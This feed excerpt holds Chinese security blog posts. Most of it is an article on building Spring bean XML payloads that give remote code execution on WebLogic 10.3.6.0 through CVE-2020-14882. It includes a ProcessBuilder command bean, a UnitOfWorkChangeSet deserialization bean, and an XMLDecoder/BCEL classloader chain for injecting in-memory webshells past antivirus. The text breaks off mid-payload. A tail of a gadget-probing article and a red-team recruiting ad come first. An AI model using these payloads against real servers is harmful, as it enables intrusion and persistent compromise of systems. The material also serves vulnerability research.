style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">有了类探测当然不只可以做排查gadget可用性问题，只要你维护出一个不错的class checklist。如下信息都可以判断：</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">1. Oracle jdk or Open jdk</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">2. 是jre还是jdk</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">3. 中间件类型（辅助构造回显/内存马）</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">4. 使用的web框架</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">5. BCEL classloader是否存在</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">6. 判断java版本是否低于&lt;7u104（该版本可以00截断）</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">7. ......</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">其他类型的反序列化gadget也是一样的思路,小tips是否可以变成利器，看挥舞它的人。</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;text-align: center;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);letter-spacing: 1px;font-size: 18px;"> 0x08 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;">参考文章</span></strong></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><ul class="list-paddingleft-2" style="list-style-type: square;"><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><a href="https://blog.csdn.net/nevermorewo/article/details/100100048)" target="_blank">https://blog.csdn.net/nevermorewo/article/details/100100048)</a></span></p></li><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><a href="https://blog.csdn.net/fnmsd/article/details/115672540" target="_blank">https://blog.csdn.net/fnmsd/article/details/115672540</a></span></p></li><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><a href="https://github.com/jbloch/effective-java-3e-source-code/" target="_blank">https://github.com/jbloch/effective-java-3e-source-code/</a></span></p></li></ul><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;letter-spacing: 1px;"> 0x09 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;letter-spacing: 1px;">招聘：红队武器化工程师</span></strong></span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">最后给团队(奇安信观星实验室)招个队友,有意向的可以</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">公众号后台</span><span style="font-size: 14px;letter-spacing: 1px;">或者邮箱</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">root#gv7.me</span><span style="font-size: 14px;letter-spacing: 1px;">联系我，期待与你共事。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><strong><span style="letter-spacing: 1px;font-size: 16px;">9.1 工作内容</span></strong></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">学习最前沿的攻防技术，挖掘0day，并将研究成果自动化武器化。</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><p style="line-height: 1.5em;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"><strong>9.2 能力要求</strong></span><br/></p><ul class="list-paddingleft-2" style="list-style-type: circle;"><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">可以分析调试最新报送的漏洞</span></p></li><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">可以将研究成果自动化武器化</span></p></li></ul><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><p style="line-height: 1.5em;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"><strong>9.3 加分项</strong></span><br/></p><ul class="list-paddingleft-2" style="list-style-type: circle;"><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">有高质量文章blog</span></p></li><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">有不错的自动化开源作品</span></p></li><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">有原创CVE</span></p></li></ul><p style="line-height: 1.5em;"><br/></p>



<p><a href="https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b752ee90&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484178%26idx%3D1%26sn%3D228ccc3d624f2d64a6c1d51555c42eea%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 31 Dec 2021 14:26:00 +0800</pubDate>
    </item>
    <item>
      <title>weblogic下spring bean RCE的一些拓展</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484160&amp;idx=1&amp;sn=aede103ea609092cf8fb5eb4147775c0</link>
      <description>spring bean rce payload构造之旅</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2021-10-11 12:00</span> <span style="display: inline-block;"></span>
</p>

<p>spring bean rce payload构造之旅</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9e33e556&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPeFs7Job5W9dNSBA8z2CiaUXS4FAyXpyZdTmJOLuOrvNctggaur83U5gkYCpxaymmDn5tlGBkFdwvA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;text-align: center;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;letter-spacing: 1px;"> 0x00 </span></strong></span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;text-align: center;"><strong><span style="font-size: 18px;letter-spacing: 1px;">背景</span></strong></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;text-align: center;"><strong><span style="font-size: 18px;letter-spacing: 1px;"><br/></span></strong></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">有一次通过</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">CVE-2020-14882</span><span style="font-size: 14px;letter-spacing: 1px;">漏洞打了一台Windows上</span><span style="font-size: 14px;letter-spacing: 1px;">的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">weblogic 10.3.6.0</span><span style="font-size: 14px;letter-spacing: 1px;">，服务器上有杀软。由于公开的如下spring bean payload只能执行命令，拿权限很困难。</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVCuV2Be7tibPFOP7QmiaLryWkbp2tdLW2GaWic1dfYR15ZibnJgsuicmemGdzT9GicOBbvq36vI4cBtJ6W/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">beans</span> <span style="color: #d19a66;line-height: 26px;">xmlns</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span> <span style="color: #d19a66;line-height: 26px;">xmlns:xsi</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span> <span style="color: #d19a66;line-height: 26px;">xsi:schemaLocation</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" target="_blank">http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd</a>&#34;</span>&gt;</span><br/>  <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">bean</span> <span style="color: #d19a66;line-height: 26px;">id</span>=<span style="color: #98c379;line-height: 26px;">&#34;pb&#34;</span> <span style="color: #d19a66;line-height: 26px;">class</span>=<span style="color: #98c379;line-height: 26px;">&#34;java.lang.ProcessBuilder&#34;</span> <span style="color: #d19a66;line-height: 26px;">init-method</span>=<span style="color: #98c379;line-height: 26px;">&#34;start&#34;</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">constructor-arg</span>&gt;</span><br/>      <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">list</span>&gt;</span><br/>        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">value</span>&gt;</span>cmd<span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">value</span>&gt;</span><br/>        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">value</span>&gt;</span>/c<span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">value</span>&gt;</span><br/>        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">value</span>&gt;</span>&lt;![CDATA[calc]]&gt;<span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">value</span>&gt;</span><br/>      <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">list</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">constructor-arg</span>&gt;</span><br/>  <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">bean</span>&gt;</span><br/><span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">beans</span>&gt;</span><br/></code></pre></section><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">只能思考如何构造可以执行任意代码的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">spring bean xml</span><span style="font-size: 14px;letter-spacing: 1px;">来一键注入内存马了。</span><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"><strong>weblogic下spring bean执行任意代码的主要困局是weblogic下的spring不支持spel表达式，导致我们无法通过spel表达式来执行任意代码来。</strong></span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">同时这里顺便提一嘴，个人认为好的payload应该有以下3个特点。</span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">1. 兼容性高</span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">2. 利用复杂度低</span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">3. 简洁体积小</span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">接下来将以这几点要求，分享下构造该系列payload的过程，这也是我在编写woodpecker利用插件时经常经历的过程与思考。</span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;letter-spacing: 1px;"> 0x01 </span></strong></span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;letter-spacing: 1px;">init-method系列payload</span></strong></span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;letter-spacing: 1px;"><br/></span></strong></span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">目前公开的payload是将恶意数据传入构成函数，然后通过</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">init-method</span><span style="font-size: 14px;letter-spacing: 1px;">来调用一个无参数构造方法来触发。按照这个条件，我找到了两个可以执行代码的class。</span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 14px;letter-spacing: 1px;">1.2 UnitOfWorkChangeSet</span></strong></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">在weblogic 10.3.6.0版本有一个</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">oracle.toplink.internal.sessions.UnitOfWorkChangeSet</span><span style="font-size: 14px;letter-spacing: 1px;">类，构造函数可以直接触发反序列化。</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVCuV2Be7tibPFOP7QmiaLryWkbp2tdLW2GaWic1dfYR15ZibnJgsuicmemGdzT9GicOBbvq36vI4cBtJ6W/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span><br/><span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">beans</span> <span style="color: #d19a66;line-height: 26px;">xmlns</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span> <span style="color: #d19a66;line-height: 26px;">xmlns:xsi</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span> <span style="color: #d19a66;line-height: 26px;">xsi:schemaLocation</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" target="_blank">http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd</a>&#34;</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">bean</span> <span style="color: #d19a66;line-height: 26px;">id</span>=<span style="color: #98c379;line-height: 26px;">&#34;pb&#34;</span> <span style="color: #d19a66;line-height: 26px;">class</span>=<span style="color: #98c379;line-height: 26px;">&#34;oracle.toplink.internal.sessions.UnitOfWorkChangeSet&#34;</span>&gt;</span><br/>        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">constructor-arg</span>&gt;</span><br/>            <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">list</span>&gt;</span><br/>                <span style="color: #5c6370;font-style: italic;line-height: 26px;">&lt;!-- 反序列化gadget序列化数据 --&gt;</span><br/>                <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">value</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;byte&#34;</span>&gt;</span>-84<span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">value</span>&gt;</span><br/>                <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">value</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;byte&#34;</span>&gt;</span>-19<span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">value</span>&gt;</span><br/>                <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">value</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;byte&#34;</span>&gt;</span>0<span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">value</span>&gt;</span><br/>                <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">value</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;byte&#34;</span>&gt;</span>5<span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">value</span>&gt;</span><br/>                ......<br/>            <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">list</span>&gt;</span><br/>        <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">constructor-arg</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">bean</span>&gt;</span><br/><span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">beans</span>&gt;</span><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;text-align: justify;"></span></code></pre></section><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">但是这个payload需要有gadget才能任意代码执行，显然不是很完美。</span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 14px;letter-spacing: 1px;">1.2 XmlDecoder</span></strong></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">在使用XMLDecoder反序列化时，我们是将xml序列化内容以流的形式传入构造函数，然后再调用readObject无参构造方法进行反序列化。所以我们我们完全可以通过XMLDecoder反序列化执行becl代码来实现任意代码执行。</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVCuV2Be7tibPFOP7QmiaLryWkbp2tdLW2GaWic1dfYR15ZibnJgsuicmemGdzT9GicOBbvq36vI4cBtJ6W/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">String xml = <span style="color: #98c379;line-height: 26px;">&#34;&lt;java&gt;&lt;void class =\&#34;com.sun.org.apache.bcel.internal.util.ClassLoader\&#34;&gt;&lt;void method=\&#34;loadClass\&#34;&gt;&lt;string&gt;$$BCEL$$$l$8b......&lt;/string&gt;&lt;void method=\&#34;newInstance\&#34;&gt;&lt;/void&gt;&lt;/void&gt;&lt;/void&gt;&lt;/java&gt;&#34;</span>;<br/>ByteArrayInputStream inputStream = <span style="color: #c678dd;line-height: 26px;">new</span> ByteArrayInputStream(xml.getBytes());<br/>XMLDecoder xmlDecoder = <span style="color: #c678dd;line-height: 26px;">new</span> XMLDecoder(inputStream);<br/>xmlDecoder.readObject();</code></pre></section><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">把上面代码转成spring bean如下：</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVCuV2Be7tibPFOP7QmiaLryWkbp2tdLW2GaWic1dfYR15ZibnJgsuicmemGdzT9GicOBbvq36vI4cBtJ6W/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span><br/><span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">beans</span> <span style="color: #d19a66;line-height: 26px;">xmlns</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span> <span style="color: #d19a66;line-height: 26px;">xmlns:xsi</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span> <span style="color: #d19a66;line-height: 26px;">xsi:schemaLocation</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" target="_blank">http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd</a>&#34;</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">bean</span> <span style="color: #d19a66;line-height: 26px;">id</span>=<span style="color: #98c379;line-height: 26px;">&#34;pb&#34;</span> <span style="color: #d19a66;line-height: 26px;">class</span>=<span style="color: #98c379;line-height: 26px;">&#34;java.beans.XMLDecoder&#34;</span> <span style="color: #d19a66;line-height: 26px;">init-method</span>=<span style="color: #98c379;line-height: 26px;">&#34;readObject&#34;</span>&gt;</span><br/>        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">constructor-arg</span>&gt;</span><br/>            <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">bean</span> <span style="color: #d19a66;line-height: 26px;">id</span>=<span style="color: #98c379;line-height: 26px;">&#34;x&#34;</span> <span style="color: #d19a66;line-height: 26px;">class</span>=<span style="color: #98c379;line-height: 26px;">&#34;java.io.ByteArrayInputStream&#34;</span> &gt;</span><br/>                <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">constructor-arg</span>&gt;</span><br/>                    <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">list</span>&gt;</span><br/>                        <span style="color: #5c6370;font-style: italic;line-height: 26px;">&lt;!-- xml序列化内容 --&gt;</span><br/>                        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">value</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;byte&#34;</span>&gt;</span>60<span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">value</span>&gt;</span><br/>                        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">value</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;byte&#34;</span>&gt;</span>106<span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">value</span>&gt;</span><br/>                        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">value</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;byte&#34;</span>&gt;</span>97<span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">value</span>&gt;</span><br/>                        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">value</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;byte&#34;</span>&gt;</span>118<span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">value</span>&gt;</span><br/>                        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">value</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;byte&#34;</span>&gt;</span>97<span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">value</span>&gt;</span><br/>                        <span style="line-height: 26px;">&lt;<span style="color: 